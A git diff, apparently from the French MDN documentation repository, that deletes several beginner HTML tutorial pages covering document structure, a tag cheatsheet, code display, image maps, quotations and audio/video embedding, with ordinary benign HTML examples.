Les balises « auto-fermantes » (ou balises vides)

- -

Nous avons vu précédemment qu'un élément HTML était composé de texte entre deux balises. Cependant, certaines balises ne contiennent pas de texte. L'exemple le plus simple est {{HTMLElement("img")}}. Le navigateur remplace la balise <img> avec l'image indiquée, ignorant le texte de l'élément. Pour cette raison, <img> n'a pas de balise fermante.

- -
Here some text before an image element
-  <img src="myImage.png" alt="">
-Here some text after an image element
-
- -
-

Note : Attention à ne pas mélanger les éléments et les balises. Parfois, une balise seule permet de définir un élément mais la plupart du temps, les balises fonctionnent par paires.

-
- -

Les éléments spéciaux

- -

En HTML, il existe deux éléments spéciaux qui n'ont pas de balise. Ces éléments sont essentiels pour tout document HTML.

- -

Le doctype

- -

Le doctype (pour « type de document ») est une déclaration formelle, placée au tout début d'un document HTML. Elle indique que le document est écrit avec du HTML standard. Le doctype se présente de cette façon :

- -
<!DOCTYPE html>
- -

Si vous ne commencez pas votre document par <!DOCTYPE html>, les navigateurs afficheront votre document en mode quirks. Le mode quirks est le mode utilisé par le navigateur pour afficher les documents anciens ou malformés, écrits dans les années 1990 lorsque HTML était peu (voire pas du tout) standardisé et que chaque navigateur gérait HTML à sa façon.

- -

Les commentaires

- -

Les commentaires sont des éléments très particuliers. Ce sont des notes que vous pouvez utiliser pour annoter votre code HTML . Le navigateur n'affichera pas ces commentaires dans la page web (cependant, le code source peut être lu par n'importe qui et les commentaires seront donc publics comme le reste de la page).

- -

En HTML, les commentaires sont écrits avec du texte contenu entre <!-- et -->

- -
<!-- Ceci est un commentaire. Il ne sera pas affiché dans le navigateur.-->
-
-Ce texte s'affichera dans le navigateur.
-
- -

Structure d'un document HTML

- -

La structure de base d'un document HTML est définie avec un ensemble de balises spéciales. Les éléments définis dans ces balises ne doivent pas apparaître plus d'une fois dans le document (excepté pour l'élément {{HTMLElement("title")}} ). Le navigateur gèrera les cas où ces éléments ne sont pas fournis (ce qui n'est pas conseillé).

- -
-
{{HTMLElement("html")}}
-
Cet élément définit la racine du document. Chaque document HTML ne contient qu'une racine. Tous les autres éléments doivent être placés dans cet élément.
-
{{HTMLElement("head")}}
-
Cet élément définit la tête du document. Le navigateur n'affichera pas cet élément qui ne contient que des méta-données, dont le titre et des informations descriptives. Les navigateurs pourront utiliser ces méta-données pour améliorer l'ergonomie de la page (nous le verrons par la suite).
-
{{HTMLElement("body")}}
-
Cet élément définit le corps du document. Il n'y a qu'un seul élément body dans un document HTML et celui-ci est toujours placé après la tête. L'utilisateur verra tout ce qui est placé dans cet élément.
-
{{HTMLElement("title")}}
-
Cet élément définit le titre d'un document. Le titre est le seul élément HTML obligatoire et il est placé dans la tête. En effet, le titre est une des méta-données utilisée par le navigateur (il est utilisé pour le titre de la fenêtre, le titre de l'onglet et aussi dans les résultats d'un moteur de recherche).
-
- -

Formel ou valide ?

- -

Voici le document HTML formel le plus simple qu'on puisse écrire :

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <title>Un document HTML formel</title>
-  </head>
-  <body>
-    <!-- Du contenu pour l'utilisateur ici -->
-  </body>
-</html>
-
- -

Si on retire les différentes balises optionnelles, on obtient alors le document HTML valide le plus simple qui puisse être écrit :

- -
<!DOCTYPE html>
-<title>Et voilà un tout petit document HTML</title>
-
- -
-

Bonne pratique : Nous vous recommandons d'utiliser la structure formelle. Si vous ne séparez pas clairement le contenu de <head> du contenu de <body>, il sera plus facile de commettre des erreurs qui entraîneront un comportement étrange du navigateur.

-
- -

Les éléments qui se chevauchent

- -

Pour finir notre aperçu sur les éléments HTML, précisons que les éléments peuvent être imbriqués mais ne peuvent pas se chevaucher.

- -

Comment faire se chevaucher des éléments ? Voici un exemple :

- -
<p>
-  le début de mon paragraphe
-    <strong>
-      du texte important
-</p>
-<p>
-      un deuxième paragraphe
-    </strong>
-   et l'élément strong a été bouclé
-   juste avant
-</p>
-
- -

Dans l'exemple ci-dessus, l'élément strong chevauche ceux des paragraphes. Ceci est une erreur (qui n'est pas autorisée par HTML). Il faut plutôt écrire :

- -
<p>
-  mon paragraphe commence ici
-    <strong>
-      du texte important
-    </strong>
-</p>
-<p>
-    <strong>
-      un deuxième paragraphe
-    </strong>
-  dont le début était important aussi
-</p>
-
- -

Dans des cas simples comme celui-ci, le navigateur pourra deviner ce qui était voulu mais généralement de telles erreurs pourront avoir des répercussions importantes (par exemple avec {{Glossary("CSS")}} ou {{Glossary("JavaScript")}} que nous verrons bientôt). Par exemple, si nous avions utilisé une balise {{HTMLElement("div")}} à la place des balises {{HTMLElement("p")}} et {{HTMLElement("strong")}} :

- -
<div>
-  le début de mon paragraphe
-    <div>
-      du texte important
-    </div>
-    <div>
-      un deuxième paragraphe
-    </div>
-  la fin du paragraphe
-</div>
-
- -

Comment savoir si les éléments se chevauchent ou non ? C'est impossible car il n'y a plus de chevauchement mais une imbrication d'éléments div ! Attention donc si vous souhaitez maîtriser le comportement de vos futurs documents HTML.

- -

Vérifier le code HTML

- -

Une bonne pratique consiste à valider son code pour s'assurer qu'il est correct. Le meilleur outil pour cela est le validateur HTML du W3C. C'est un outil en ligne qui analyse votre document HTML et vous indique si celui-ci respecte les spécifications HTML. Si le document est invalide, le validateur fournira des indications quant aux erreurs qu'il a trouvées.

- -
-

Note : Étant donné la méthode utilisée par le validateur, il est préférable de se concentrer sur la première erreur relevée dans l'analyse. En effet, une seule erreur peut en déclencher d'autres en cascades. Si le résultat de l'analyse comporte une myriade d'erreurs, commencez par résoudre la première, cela permettra éventuellement de résoudre des erreurs suivantes.

-
- -

Prochaines étapes

- -

Grâce aux notions abordées dans cet article, vous devriez être en mesure d'écrire votre premier document HTML complet et d'obtenir une première version d'un site web fonctionnel.

- - diff --git a/files/fr/apprendre/html/cheatsheet/index.html b/files/fr/apprendre/html/cheatsheet/index.html deleted file mode 100644 index 4f07dbb7b6..0000000000 --- a/files/fr/apprendre/html/cheatsheet/index.html +++ /dev/null @@ -1,186 +0,0 @@ ---- -title: Cheatsheet HTML -slug: Apprendre/HTML/Cheatsheet -tags: - - Cheatsheet - - HTML - - Intermediate - - Learn -translation_of: Learn/HTML/Cheatsheet ---- -
{{draft}}
- -

Lorsqu'on utilise {{Glossary("HTML")}}, une antisèche, une page rapide et récapitulative (cheatsheet) peut s'avérer plutôt pratique pour se souvenir rapidement de quelle balise HTML utiliser dans quel cas. MDN possède également une documentation HTML exhaustive ainsi que différents tutoriels HTML détaillés. Toutefois, dans la plupart des cas, il suffit juste d'une rapide vérification afin de pouvoir continuer. Cet article, sous la forme d'une antisèche synthétique, est là pour fournir des exemples de codes concis pour les usages les plus fréquents des éléments les plus utilisés.

- -
-

Rappel : Les balises HTML doivent en premier lieu être utilisées pour leur sémantique et non pour leur apparence. Il est toujours possible de modifier la mise en forme d'une balise donnée grâce à {{Glossary("CSS")}}. Aussi, quand vous utilisez HTML, soyez concentré-e sur la signification plutôt que sur l'apparence finale.

-
- -

Mise en forme inline

- -

Un élément dit « en ligne » ou inline prend autant d'espace que nécessaire. Ces éléments sont disposés horizontalement les uns à la suite des autres, à la façon des mots dans une phrase ou des livres dans une bibliothèque.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
UtilisationFragment de codeRésultat
Un lien simple<a href="https://developer.mozilla.org">Un lien vers MDN</a>Un lien vers MDN
Une image simple<img src="https://developer.mozilla.org/media/img/mdn-logo-sm.png" />
Un texte avec emphase<em>Je suis distingué</em>Je suis distingué
Un texte marqué comme important<strong>Je suis important</strong>Je suis important
Un texte mis en avant<mark>Remarquez-moi</mark>Remarquez-moi
Barrer du texte qui n'est plus pertinent<s>Je ne suis plus d'actualité ou plus pertinent</s>Je ne suis plus d'actualité ou plus pertinent
Souligner pour ajouter une annotation non-textuelleCeci est <u>mal orthographié</u>Ceci est mal orthographié
Du texte qui doit être affiché en indiceH<sub>2</sub>OH2O
Du texte qui doit être affiché en exposantM<sup>me</sup> de BovaryMme de Bovary
Une citation dans le cours du texteIl a dit : <q>Je suis ton père.</q>Il a dit : Je suis ton père.
Un saut de ligneLigne 1 <br/> Ligne 2Ligne 1
- Ligne 2
Du code informatique (code « machine »)<code>System.print.File("coucou")</code>System.print.File("coucou")
Un fichier audio intégré<audio controls src="https://mdn.mozillademos.org/files/2587/AudioTest%20%281%29.mp3">L'élément <code>audio</code> n'est pas supporté.</audio> - -
Un fichier vidéo intégré<video controls src="https://archive.org/download/WebmVp8Vorbis/webmvp8_512kb.mp4">L'élément <code>video</code> n'est pas supporté.</video> - -
- -

Mise en forme block

- -

Les éléments de bloc (block en anglais) s'organisent différemment. Ils prennent toute la largeur de la page. Étant donné qu'ils prennent toute cette largeur, on ne peut donc pas les disposer côté à côte horizontalement. Leur organisation sera plutôt celle de paragraphes dans une dissertation ou celle d'étages dans un immeuble.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
UtilisationFragment de codeRésultat
Un paragraphe simple -

<p>Je suis un paragraphe</p>
- <p>Je suis un autre paragraphe</p>

- 		-

Je suis un paragraphe

- -

Je suis un autre paragraphe

-
Une liste non-ordonnée<ul>
-   <li>Je suis un élément</li>
-   <li>Je suis un autre élément</li>
- <ul>		 -
    -
  • Je suis un élément
    • -
  • Je suis un autre élément
    • -
-
Une liste ordonnée<ol>
-   <li>Je suis le premier élément</li>
-   <li>Je suis le deuxième élément</li>
- <ol>		 -
    -
  1. Je suis le premier élément
    2. -
  2. Je suis le deuxième élément
    3. -
-
Une ligne horizontale<hr/> -
Des titres de différents niveaux (du plus important au moins important) -

<h2>Un titre de niveau 2</h2>
- <h3>Un titre de niveau 3</h3>
- <h4>Un titre de niveau 4</h4>
- <h5>Un titre de niveau 5</h5>

- 		-

Un titre de niveau 2

- -

Un titre de niveau 3

- -

Un titre de niveau 4

- -
Un titre de niveau 5
-
diff --git a/files/fr/apprendre/html/comment/afficher_du_code_informatique_avec_html/index.html b/files/fr/apprendre/html/comment/afficher_du_code_informatique_avec_html/index.html deleted file mode 100644 index db22bdd6f4..0000000000 --- a/files/fr/apprendre/html/comment/afficher_du_code_informatique_avec_html/index.html +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: Afficher du code informatique avec HTML -slug: Apprendre/HTML/Comment/Afficher_du_code_informatique_avec_HTML -tags: - - Beginner - - Guide - - HTML - - Learn -translation_of: >- - Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Representing_computer_code -translation_of_original: Learn/HTML/Howto/Display_computer_code_with_HTML ---- -
-

HTML offre différents éléments pour écrire de la documentation technique. Dans cet article, nous aborderons les éléments HTML qui portent sur la représentation de code informatique.

-
- - - - - - - - - - - - -
Prérequis :Vous devriez au préalable savoir comment créer un document HTML simple.
Objectifs :Apprendre comment utiliser HTML afin de représenter des entrées saisies par un utilisateur, des sorties produites par un système, du code, du texte simple et des variables.
- -

HTML et l'informatique

- -

{{glossary("HTML")}} a été conçu par des informaticiens et il sert donc particulièrement bien ce domaine. De nombreux éléments HTML sont apparus et/ou ont disparu au cours des années. Ici, nous n'aborderons que ceux qui sont en vigueur actuellement :

- - - -

Le texte préformaté

- -

Dans un éditeur de texte, la mise en forme s'applique simplement. Il suffit d'utiliser les caractères du clavier, d'appuyer sur la barre d'espace pour indiquer un espace, d'utiliser la touche Entrée pour passer à la ligne, etc. Normalement, chaque lettre a la même largeur et tout est donc bien aligné. Étant donné que ce qui est écrit est écrit avec du texte simple (plain text en anglais), nul besoin de se préoccuper de la couleur du texte, de sa taille de police, de l'italique, etc.

- -

Un navigateur graphique formate le texte en fonction du code HTML et CSS. Cela fait que beaucoup de blancs (les espaces, les tabulations, les sauts de lignes) sont ignorés. Si vous appuyez sur Entrée lorsque vous tapez du code HTML, le navigateur déduira que vous souhaitez bien aligner votre code HTML. En revanche, pour indiquer clairement qu'on souhaite avoir un nouveau paragraphe, il faudra utiliser le bon élément HTML (en l'occurence {{htmlelement("p")}}).

- -

Généralement lorsqu'on écrit un article qui porte sur l'informatique, on veut afficher, dans le navigateur, du texte, tel qu'il serait lorsqu'on le saisit dans un éditeur de texte. Pour ce faire, on utilisera l'élément {{htmlelement("pre")}}. Par défaut, un navigateur graphique affichera le texte contenu dans cet élément avec une police dont tous les caractères ont la même largeur (monospace). Toutefois, vous pourrez adapter la mise en forme à votre gré grâce à {{glossary("CSS")}}. Par exemple, lorsque vous lisez des exemples de code sur MDN, nous utilisons l'élément {{htmlelement("pre")}} (auquel on ajoute quelques couleurs CSS pour améliorer la lisibilité).

- -

On notera qu'on ne peut toujours pas utiliser les caractères réservés (<>&), par exemple :

- -
<pre>
-Un éditeur de texte est pratique car il suffit
-d'appuyer sur Entrée pour commencer un nouveau
-paragraphe, plutôt que d'avoir à utiliser ces
-grossières balises &lt;p&gt; et &lt;/p&gt;.
-</pre>
- -

Cela donnera le résultat suivant :

- -

{{EmbedLiveSample('Le_texte_préformaté','100%',90)}}

- -
-

Par défaut, votre éditeur de texte laissera les lignes s'allonger jusqu'à éventuellement dépasser de l'écran. Le retour à la ligne automatique peut toutefois être activé dans la plupart des éditeurs pour garder un œil sur tout le contenu.

- -

On aura la même chose avec <pre>. Il existe une propriété CSS intitulée {{cssxref("white-space")}} dont la valeur par défaut est nowrap. Si on veut que le retour à la ligne soit automatique, on utilisera la valeur pre-wrap.

-
- -

Retranscrire du code

- -

Naturellement, tout le texte préformaté n'est pass du code informatique. Lorsque vous mentionnez du code informatique dans votre document, vous devriez utiliser l'élément  {{HTMLElement('code')}} :

- -
Un des mots-clés les plus importants est <code>this</code>.
-
- -

Pour indiquer un bloc de code qui s'étend sur plusieurs lignes, vous pouvez imbriquer un élément {{HTMLElement('code')}} dans un élément {{HTMLElement('pre')}}. Certains script tiers tels que la bibliothèque highlight.js utiliseront ces balises pour ajouter de la coloration syntaxique à vos exemples de code :

- -
<pre><code class="js">
-function coucou() {
-  console.log('coucou monde !');
-}
-</code></pre>
- -

Retranscrire des entrées/sorties (I/O)

- -

Les entrées sont les informations qui sont saisies, généralement par les utilisateurs, dans un ordinateur. L'ordinateur traite ces données et renvoie une sortie. On utilise parfois les termes anglais respectifs input et output, voire un acronyme pour désigner l'ensemble : I/O.

- -

Comment retranscrire une sortie informatique

- -

L'élément {{HTMLElement('samp')}} indique que l'ordinateur produit un texte :

- -
Ensuite, vous verrez affiché <samp>thomas@mon-ordinateur:~$</samp>.
-
- -

Comment retranscrire une entrée informatique

- -

L'élément {{htmlelement('kbd')}} était initialement utilisé pour représenter une entrée saisie au clavier (kbd étant pour keyboard qui signifie clavier en anglais). Cependant, aujourd'hui, cet élément peut être utilisé pour représenter d'autres types d'entrées (comme les commandes vocales).

- -

L'élément {{htmlelement("kbd")}} permet de marquer l'entrée attendue :

- -
Saisissez <kbd>ls --color</kbd> sur l'invite du terminal.
-
- -

Pour indiquer une touche donnée ou une sous-commande particulière, vous pouvez imbriquer {{htmlelement("kbd")}} avec lui-même :

- -
Appuyez sur <kbd><kbd>Ctrl</kbd> + <kbd>C</kbd></kbd> pour arrêter le processus.
-
- -

Dans cet exemple, le premier élément <kbd> indique la commande entière alors que les éléments imbriqués indiquent les touches à utiliser.

- -

Assembler le tout

- -

Il arrive souvent de combiner <samp> et <kbd>. Par exemple, lorsque l'ordinateur indique des options à l'utilisateur, on pourra imbriquer des éléments <samp> dans des éléments <kbd> :

- -
Ensuite, choisissez <kbd><samp>Oui</samp></kbd> ou <kbd><samp>Non</samp></kbd>
- -

Inversement, quand l'ordinateur indique quoi faire, on pourra imbrique des éléments <kbd> dans des éléments <samp>:

- -
Attendez que l'invite indique, <samp>Appuyez sur <kbd>Entrée</kbd> pour continuer.</samp>
- -

Selon la spécification HTML, il n'est pas nécessaire de jouer profondément sur l'imbrication de ces éléments. L'aspect le plus important de transmettre les informations avec leur sens.

- -

Les variables de programmes ou les variables mathématiques

- -

Dans ce cas, on utilisera l'élément {{htmlelement("var")}}. Les variables peuvent être annotées dans le texte principal mais pas dans les fragments de code.

- -
Cette fonction utilisera deux paramètres,
-<var>x</var> et <var>y</var>.
-
- -
-

L'élément {{htmlelement("var")}} permet d'écrire des variables pour des formules simples. En revanche, pour les formules complexes, MathML sera beaucoup plus riche et adapté.

-
- -

En savoir plus

- - diff --git a/files/fr/apprendre/html/comment/ajouter_carte_zones_cliquables_sur_image/index.html b/files/fr/apprendre/html/comment/ajouter_carte_zones_cliquables_sur_image/index.html deleted file mode 100644 index 836cd29e95..0000000000 --- a/files/fr/apprendre/html/comment/ajouter_carte_zones_cliquables_sur_image/index.html +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: Ajouter une carte de zones cliquables sur une image -slug: Apprendre/HTML/Comment/Ajouter_carte_zones_cliquables_sur_image -tags: - - Guide - - HTML - - Intermediate - - Navigation -translation_of: Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image ---- -
-

Dans cet article, nous verrons comment construire une carte imagée cliquable en commençant par les inconvénients de cette méthode.

-
- - - - - - - - - - - - -
Prérequis :Vous devez au préalable savoir comment créer un document HTML simple et connaître comment ajouter des images accessibles à une page web.
Objectifs :Apprendre comment faire pour que différentes zones d'une même image pointent vers différentes pages.
- -
-

Cet article n'aborde que les cartes générées côté client. Les cartes de zones générées côté serveur ne doivent pas être utilisée car elles ne sont accessibles qu'aux utilisateurs ayant des souris.

-
- -

Les cartes imagées cliquables et leurs inconvénients

- -

Lorsque vous imbriquez une image dans un élément {{htmlelement("a")}}, l'image entière pointe vers une page web. En revanche, les cartes imagées contiennent plusieurs régions (aussi appelées « hotspots » en anglais) qui pointent chacunes vers une ressource distincte.

- -

Auparavant, les cartes imagées était assez populaires mais, malgré cette popularité, elles posent quelques problèmes en termes de performances et d'accessibilité.

- -

Les liens textuels (éventuellement mis en formes avec CSS) sont préférables à ces cartes car ils sont plus légers, plus faciles à maintenir, plus utiles pour le référencement et qu'ils sont supportés par les outils d'accessibilité.

- -

Comment insérer une carte imagée

- -

Étape 1 : l'image

- -

N'importe quelle image ne fera pas l'affaire pour construire une telle carte.

- - - -

On insère une image de la même façon que d'habitude (avec un élément {{htmlelement("img")}} et un texte dans l'attribut {{htmlattrxref("alt",'img')}}). Si l'image n'est présente qu'à des fins de navigations, alt peut être laissé vide : alt="", si les valeurs pour les différents {{htmlattrxref("alt",'area')}} sont bien renseignés dans les éléments {{htmlelement('area')}} que nous allons présenter.

- -

Cette image contiendra une attribut spécial {{htmlattrxref("usemap","img")}}. Celui-ci doit désigner avec un nom unique et sans espace la carte imagée. C'est ce nom qu'on placera dans cet attribut usemap :

- -
<img
-  src="image-map.png"
-  alt=""
-  usemap="#exemple-map-1" />
-
- -

Étape 2 : Activer les régions actives

- -

Dans cette étape, nous allons remplir le code de l'élément {{htmlelement('map')}}. Celui-ci n'a besoin que d'un seul attribut : {{htmlattrxref("name","map")}} dont la valeur doit correspondre à celle utilisée pour l'attribut usemap vue juste avant :

- -
<map name="exemple-map-1">
-
-</map>
-
- -

Dans cet élément <map>, on aura besoin d'utiliser les éléments {{htmlelement('area')}}. Chacun de ces éléments correspondra à une région donnée. Afin que la navigation au clavier reste intuitive, il faudra veiller à ce que l'ordre de ces éléments HTML corresponde bien à l'ordre visuel des régions.

- -

Les éléments <area> sont des éléments vides mais qui utilisent quatres attributs :

- -
-
{{htmlattrxref('shape','area')}}
-
{{htmlattrxref('coords','area')}}
-
-

shape (« forme » en anglais) prend l'une de ces quatre valeurs : circle (pour un cercle), rect (pour un rectangle), poly (pour un polygone) ou default (une zone default occupera l'image entière à laquelle on aura retiré les autres zones déjà définies). La forme choisie détermine les informations de coordonnées qui seront utiles dans coords.

- -
    -
  • Pour un cercle (circle) : on fournira les coordonnées X/Y du centre, suivies par la longueur du rayon.
    • -
  • Pour un rectange (rect) : on fournira les coordonnées X/Y des coins haut/gauche et bas/droite.
    • -
  • Pour un polygone (poly) : on fournira les coordonnées X/Y de chacun des sommets (et donc au moins six valeurs).
    • -
- -

Les coordonnées exprimées sont données en pixels CSS.

- -

Dans le cas où les définitions de certaines régions se chevauchent, ce sera l'ordre des zones qui donnera la priorité.

-
-
{{htmlattrxref('href','area')}}
-
Cet attribut est l'URL de la ressource vers laquelle on crée un lien. Elle peut être laissée vide si on ne souhaite pas créer de lien pour cette région.
-
{{htmlattrxref('alt','area')}}
-
-

Un attribut obligatoire qui indique aux personnes la direction ou le rôle du lien. Ce texte alt ne sera affiché que lorsque l'image ne sera pas disponible. Pour plus d'informations, voir nos conseils pour écrire des hyperliens accessibles.

- -

Vous pouvez écrire alt="" si l'attribut href est vide et que l'image entière possède déjà un attribut alt renseigné.

-
-
- -
<map name="exemple-map-1">
-  <area shape="circle" coords="200,250,25"
-    href="page-2.html" alt="exemple de cercle" />
-
-  <area shape="rect" coords="10, 5, 20, 15"
-    href="page-3.html" alt="exemple de rectangle" />
-
-</map>
- -

Étape 3 : S'assurer que la carte fonctionne pour chacun

- -

Ce n'est pas encore fini. Il est nécessaire de s'assurer que la carte fonctionne bien sur différents navigateurs et appareils. Vous pouvez essayer de naviguer en utilisant uniquement de clavier. Vous pouvez également désactiver les images.

- -

Si votre carte imagée mesure plus de 240px environ, vous devrez réfléchir à comment l'ajuster pour que celle-ci soit adaptative. Il ne suffira pas de redimensionner l'image pour les écrans plus petits car les coordonnées qui resteraient les mêmes ne correspondraient plus aux différents points de l'image.

- -

Si vous devez nécessairement utiliser de telles cartes, vous pouvez regarder ce plugin jQuery réalisé par Matt Stow. Dudley Storey illustre une méthode qui consiste à utiliser SVG pour réaliser un effet de carte imagée ainsi qu'une bidouille pour les images matricielles avec une combinaison de SVG.

- -

En savoir plus

- - diff --git a/files/fr/apprendre/html/comment/ajouter_citations_sur_page_web/index.html b/files/fr/apprendre/html/comment/ajouter_citations_sur_page_web/index.html deleted file mode 100644 index 99e17662ab..0000000000 --- a/files/fr/apprendre/html/comment/ajouter_citations_sur_page_web/index.html +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: Ajouter des citations sur une page web -slug: Apprendre/HTML/Comment/Ajouter_citations_sur_page_web -tags: - - Beginner - - Guide - - HTML -translation_of: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Quotations -translation_of_original: Learn/HTML/Howto/Add_citations_to_webpages ---- -
-

Cet article illustre comment citer quelqu'un de façon précise et en fournissant la source de la citation.

-
- - - - - - - - - - - - -
Prérequis :Vous devriez vous être familiarisé-e avec la création de documents HTML simples.
Objectifs :Apprendre comment intégrer des citations et leurs sources.
- -

Très souvent, nous évoquons ce qui a été dit ou écrit par d'autres. Nous construisons des arguments logiques à partir de ces textes, notamment en littérature technique, en journalisme ou en philosophie. Étant donné que ce sont les scientifiques qui ont conçu {{Glossary('HTML')}}, il existe les mécanismes nécessaires pour faire des citations dans un document HTML.

- -

HTML permet de gérer trois scénarios liés aux citations :

- - - -

Comment rapporter exactement les mots d'une personne

- -

Citation en ligne

- -

HTML fournit l'élément {{htmlelement("q")}} qui permet de créer des citations en ligne. Cela signifie qu'il s'agit de citations suffisamment courtes pour qu'elles puissent être placées dans le cours du texte.

- -
<p>
-  Si vous lisez Cicéron dans la version latine, vous trouverez
-  un passage connu&nbsp;: <q lang="la">qui dolorem ipsum quia
-  dolor sit amet consectetur adipisci velit.</q>
-</p>
- -

Voilà le résultat qu'on obtient avec un tel code :

- -

{{EmbedLiveSample('Citation_en_ligne','100%')}}

- -
-

<q> ne doit pas être utilisé pour écrire des titres d'articles ou de chapitres ou pour mettre un terme en exergue. Si vous avez besoin d'utiliser des guillemets à cet effet, il faudra les écrire manuellement :

- -
C'est « Wingardium Leviôsa » et non « Wingardium Leviosâ ».
- -

Les entités HTML &laquo; et &raquo; permettent de représenter les guillemets. Il faudra utiliser &ldquo; et &rdquo; pour les doubles quotes et  &lsquo; et &rsquo; pour les simples quotes.

-
- -

Par défaut, {{glossary("navigateurs",'les navigateurs web')}} utilisent le symbole de citation approprié pour la langue utilisée. Si vous souhaitez surcharger la mise en forme par défaut, vous pouvez utiliser la propriété CSS {{cssxref('quotes')}}. Par exemple, la règle CSS qui suit imposera les guillemets français :

- -
:lang(fr) > q {
-  quotes: '« ' ' »';
-}
- -

Extrait complet

- -

HTML fournit également l'élément {{htmlelement("blockquote")}} pour les citations en bloc (c'est-à-dire les citations suffisamment longues pour qu'elles méritent leurs propres paragraphes). Dans l'exemple suivant, on voit qu'on a plusieurs paragraphes au sein d'une même <blockquote> :

- -
<p>Les mots employés par Cicéron sont devenus un
-charabia pour simuler du texte mais à l'origine, ils
-n'étaient pas dénués de sens, loin de là&nbsp;:</p>
-
-<blockquote>
-  <p>
-    Il n'y personne qui recherche ou désire obtenir la
-    douleur en tant que telle car il s'agit de la douleur.
-    Toutefois, occasionnellement, il exist des circonstances
-    selon lesquelles la peine et la douleur peuvent fournir
-    un grand plaisir.
-  </p>
-
-  <p>
-    Le sage s'en tient donc, sur ces sujets, au principe
-    de sélection : il rejette le plaisir afin de s'assurer de
-    de plus grands plaisir ou alors, il endure certaines
-    douleurs pour s'en prémunir de plus grandes.
-  </p>
-</blockquote>
-
- -

Dans ce cas, la mise en forme appliquée par défaut par le navigateur web est une marge plus large à gauche. Là encore, vous pouvez ajuster la mise en forme à votre convenance en utilisant la propriété CSS {{cssxref('margin')}}.

- -

Comment fournir la source d'une citation

- -

Source implicite

- -

Citer c'est bien, indiquer les sources c'est encore mieux. De cette façon, une source indépendante peut vérifier que la citation est correcte, voire fournir un contexte plus large pour la citation. À cet effet, l'attribut {{htmlattrxref('cite','q')}} permet d'indiquer l'URL de la source, que ce soit pour un élément {{htmlelement("q")}} ou pour un élément  {{htmlelement("blockquote")}} :

- -
<q cite="https://fr.wikiquote.org/wiki/Hom%C3%A8re">Patience, mon cœur !</q>
- -

En pratique, les personnes ne trouvent que très rarement cette information de source (sauf s'ils lisent le code source HTML). On peut donc préférer un lien direct dans la citation :

- -
<q><a href="https://fr.wikiquote.org/wiki/Hom%C3%A8re">Patience, mon cœur !</a></q>
- -

Source explicite

- -

Pour indiquer de façon explicite l'origine de la citation, il est possible d'utiliser l'élément {{htmlelement("cite")}}. Cet élément peut indiquer l'auteur de la citation ou l'œuvre créative de laquelle elle provient.

- -
<p>
-  <q>La pensée est libre</q>,
-  <cite id="author">Cicéron</cite> dans
-  <cite id="work" lang="la">De Finibus Bonorum et Malorum</cite>.
-</p>
-
- -

Pour accentuer le caractère explicite de la relation entre la citation et sa source, il est également possible d'ajouter l'attribut aria-labelledby :

- -
<p>
-  <q aria-labelledby="author work">La pensée est libre</q>,
-  <cite id="author">Cicéron</cite> dans
-  <cite id="work" lang="la">De Finibus Bonorum et Malorum</cite>.
-</p>
-
- -

En savoir plus

- - diff --git "a/files/fr/apprendre/html/comment/ajouter_contenu_audio_vid\303\251o_page_web/index.html" "b/files/fr/apprendre/html/comment/ajouter_contenu_audio_vid\303\251o_page_web/index.html" deleted file mode 100644 index 8d3caf06b2..0000000000 --- "a/files/fr/apprendre/html/comment/ajouter_contenu_audio_vid\303\251o_page_web/index.html" +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: Ajouter du contenu audio ou vidéo à une page web -slug: Apprendre/HTML/Comment/Ajouter_contenu_audio_vidéo_page_web -tags: - - Audio - - Beginner - - Guide - - HTML - - Video -translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content -translation_of_original: Learn/HTML/Howto/Add_audio_or_video_content_to_a_webpage ---- -
-

Dans cet article, nous verrons comment intégrer des éléments vidéo et audio de premier rang, accessibles à chacun, quelle que soit la méthode utilisée.

-
- - - - - - - - - - - - -
Prérequis :Vous devriez vous être familiarisé-e avec la création de documents HTML simples.
Objectifs :Savoir comment intégrer des éléments audio et vidéo dans une page web.
- -

L'audio et la vidéo sur le web

- -

Depuis toujours, les développeurs web ont intégré (ou tenté d'intégrer) des vidéos et des sons sur le Web. Après une longue période d'expérimentation, {{glossary("HTML5")}} offre aujourd'hui la meilleure solution et tire parti de nouvelles {{Glossary("API")}} {{Glossary("JavaScript")}} .

- -

Dans cet article, nous expliquerons comment intégrer des fichiers audio et vidéo dans des documents HTML. Nous prendrons le postulat de départ que vous avez déjà ces fichiers disponibles (la création de média n'est pas, à proprement parlé, du développement web et nous n'en parlerons donc pas dans cet article)

- -

Avant de commencer, précisons qu'il existe par ailleurs quelques fournisseurs de vidéos en ligne tels que YouTube, Dailymotion ou Vimeo. Ces sites offrent un moyen pratique pour héberger ou consommer des vidéos et peuvent nous éviter d'avoir à penser à la consommation de bande passante. Ils permettent généralement d'utiliser des scripts JavaScript permettant d'embarquer les vidéos sur une page web. Cette méthode permet d'éviter certaines des difficultés que nous allons aborder, toutefois, cela ne correspond pas exactement au fait d'utiliser HTML pour fournir directement du contenu multimédia à vos utilisateurs.

- -

Pour commencer

- -

La façon la plus simple permettant d'intégrer un fichier multimédia dans une page web est d'utiliser l'élément {{htmlelement("audio")}} pour les fichiers sonores et l'élément {{htmlelement("video")}} pour les vidéos. Par exemple :

- -
<audio src="exemple.ogg" controls></audio>
-<video src="exemple.webm" width="375" height="280" controls></video>
-
- -

Ces deux éléments HTML possèdent quelques attributs permettant de contrôler le comportement des éléments :

- -
-
{{htmlattrxref("width","video")}} et {{htmlattrxref("height","video")}} (uniquement pour <video>)
-
Ces attributs permettent de contrôler la taille à utiliser pour la vidéo (des propriétés CSS peuvent également être utilisées). Dans tous les cas, les vidéos garderont leur ratio « hauteur / largeur » de départ (des bandes noires viendront occuper l'espace vide).
-
{{htmlattrxref("controls","video")}}
-
-

